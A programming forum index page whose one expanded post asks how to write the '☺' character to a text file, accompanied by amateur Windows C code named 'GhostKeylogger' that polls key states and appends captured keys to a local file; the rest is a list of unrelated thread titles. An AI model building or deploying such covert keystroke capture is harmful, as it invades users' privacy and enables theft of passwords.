Click here to Skip to main content
15,887,746 members
Home / Discussions / Managed C++/CLI
   

Managed C++/CLI

 
QuestionHow to save "☺" in a file. C/C++ (Windows Functions) Pin
Citrusl2-Nov-14 10:51
Citrusl2-Nov-14 10:51 
I want to save the ASCII characters, in this case i started with the "☺" when someone press alt+1.

I dont know how to save that type of characters in the txt. What can i do?
Ive searched like a month about this, in all kind of forums, asking my teachers or people who knows and nobody can answer me this.

A possible solution was to make all again and use HOOK functions and some others like: WH_KEYBOARD_LL. Well... i dont know how to use any of that functions, so its a big problem.

PD: Im from Argentina, sorry for my bad english.

C++
#include <windows.h>
#include <stdio.h>
#include <ctype.h>
#define VK_4 0x34
#define VK_1 0x31

void GhostKeylogger(FILE *txt);
byte teclas[256];
char teclasespeciales[32]; 

void GhostKeylogger(FILE *txt)
{
    for(int i=0; i<255; i++){
		
		/*	if(GetAsyncKeyState(i)==-32767){  
				
		    
            *teclasespeciales = 0;
            if(ToAscii(i, MapVirtualKey(i, 0), teclas, (LPWORD)teclasespeciales, 0) == 1)
            fprintf(txt, "[%c]", *teclasespeciales);
            else if(GetKeyNameText((MapVirtualKey(i, 0) << 16), teclasespeciales, 32) > 0)
            fprintf(txt, "[%s]", teclasespeciales); 
            
               }	*/
            if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
           		{
				if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
				 {
				 fprintf(txt,"~"); break;
				}}
				
/////////////////////////////IMAGINE SEPARATOR BAR////////////////////////////////////	
		
		   	if(GetAsyncKeyState(VK_MENU) && GetAsyncKeyState(VK_1))
		   	{
					fprintf(txt,"%c\t",0x01);  //What should i do here?
							
			}
////////////////////////////IMAGINE SEPARATOR BAR/////////////////////////////////////////
		 
	}
}

int main(){
	
	FILE *txt;
	 while(TRUE){   
       if(txt != NULL){
       FILE *txt = fopen("Experimento.txt", "a+");
       Sleep(30);/*to prevent high usage*/
       GhostKeylogger(txt);
       fclose(txt);
    }
   }
}

AnswerRe: How to save "☺" in a file. C/C++ (Windows Functions) Pin
Frankie-C22-Feb-15 3:24
Frankie-C22-Feb-15 3:24 
QuestionDisplay an image on the button. this image is not from resource but it is a image form a normal file Pin
Member 1118237929-Oct-14 2:34
Member 1118237929-Oct-14 2:34 
AnswerRe: Display an image on the button. this image is not from resource but it is a image form a normal file Pin
Richard MacCutchan29-Oct-14 4:01
mveRichard MacCutchan29-Oct-14 4:01 
QuestionI need some help with c++ Pin
Member 1111856129-Sep-14 8:44
Member 1111856129-Sep-14 8:44 
AnswerRe: I need some help with c++ Pin
Richard MacCutchan29-Sep-14 21:33
mveRichard MacCutchan29-Sep-14 21:33 
QuestionCoding music rhythms Pin
Navid Abyazi24-Sep-14 5:28
professionalNavid Abyazi24-Sep-14 5:28 
AnswerRe: Coding music rhythms Pin
Richard MacCutchan24-Sep-14 5:35
mveRichard MacCutchan24-Sep-14 5:35 
QuestionReverse No program Pin
Member 105011307-Sep-14 20:09
Member 105011307-Sep-14 20:09 
AnswerRe: Reverse No program Pin
Richard MacCutchan7-Sep-14 21:23
mveRichard MacCutchan7-Sep-14 21:23 
QuestionSystem.AccessViolationException - Returning from cpp dll Pin
ToolMaker200716-Aug-14 4:25
ToolMaker200716-Aug-14 4:25 
AnswerRe: System.AccessViolationException - Returning from cpp dll Pin
Member 1048772028-Aug-14 21:45
Member 1048772028-Aug-14 21:45 
Questionneed help with creating a clr dll Pin
neodeaths13-Aug-14 21:57
neodeaths13-Aug-14 21:57 
AnswerRe: need help with creating a clr dll Pin
Richard MacCutchan13-Aug-14 22:26
mveRichard MacCutchan13-Aug-14 22:26 
QuestionHow to sound recorder c++ Pin
4manes6-Jul-14 22:58
4manes6-Jul-14 22:58 
AnswerRe: How to sound recorder c++ Pin
Richard MacCutchan7-Jul-14 2:46
mveRichard MacCutchan7-Jul-14 2:46 
QuestionDumb question about event arguments Pin
Member 1031630012-Jun-14 20:21
Member 1031630012-Jun-14 20:21 
AnswerRe: Dumb question about event arguments Pin
John Schroedl13-Jun-14 8:05
professionalJohn Schroedl13-Jun-14 8:05 
GeneralRe: Dumb question about event arguments Pin
Member 1031630013-Jun-14 8:50
Member 1031630013-Jun-14 8:50 
Ranthow to work with window in c++ Pin
TomTomtz30-May-14 12:02
TomTomtz30-May-14 12:02 
GeneralRe: how to work with window in c++ Pin
Wes Aday30-May-14 12:29
professionalWes Aday30-May-14 12:29 
GeneralRe: how to work with window in c++ Pin
Richard MacCutchan30-May-14 22:08
mveRichard MacCutchan30-May-14 22:08 
GeneralRe: how to work with window in c++ Pin
WuRunZhe19-Jun-14 5:39
WuRunZhe19-Jun-14 5:39 
QuestionCount from 1 to 1000 without using loops Pin
Amrit Agr26-May-14 0:09
Amrit Agr26-May-14 0:09 
AnswerRe: Count from 1 to 1000 without using loops Pin
Richard MacCutchan26-May-14 0:42
mveRichard MacCutchan26-May-14 0:42 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.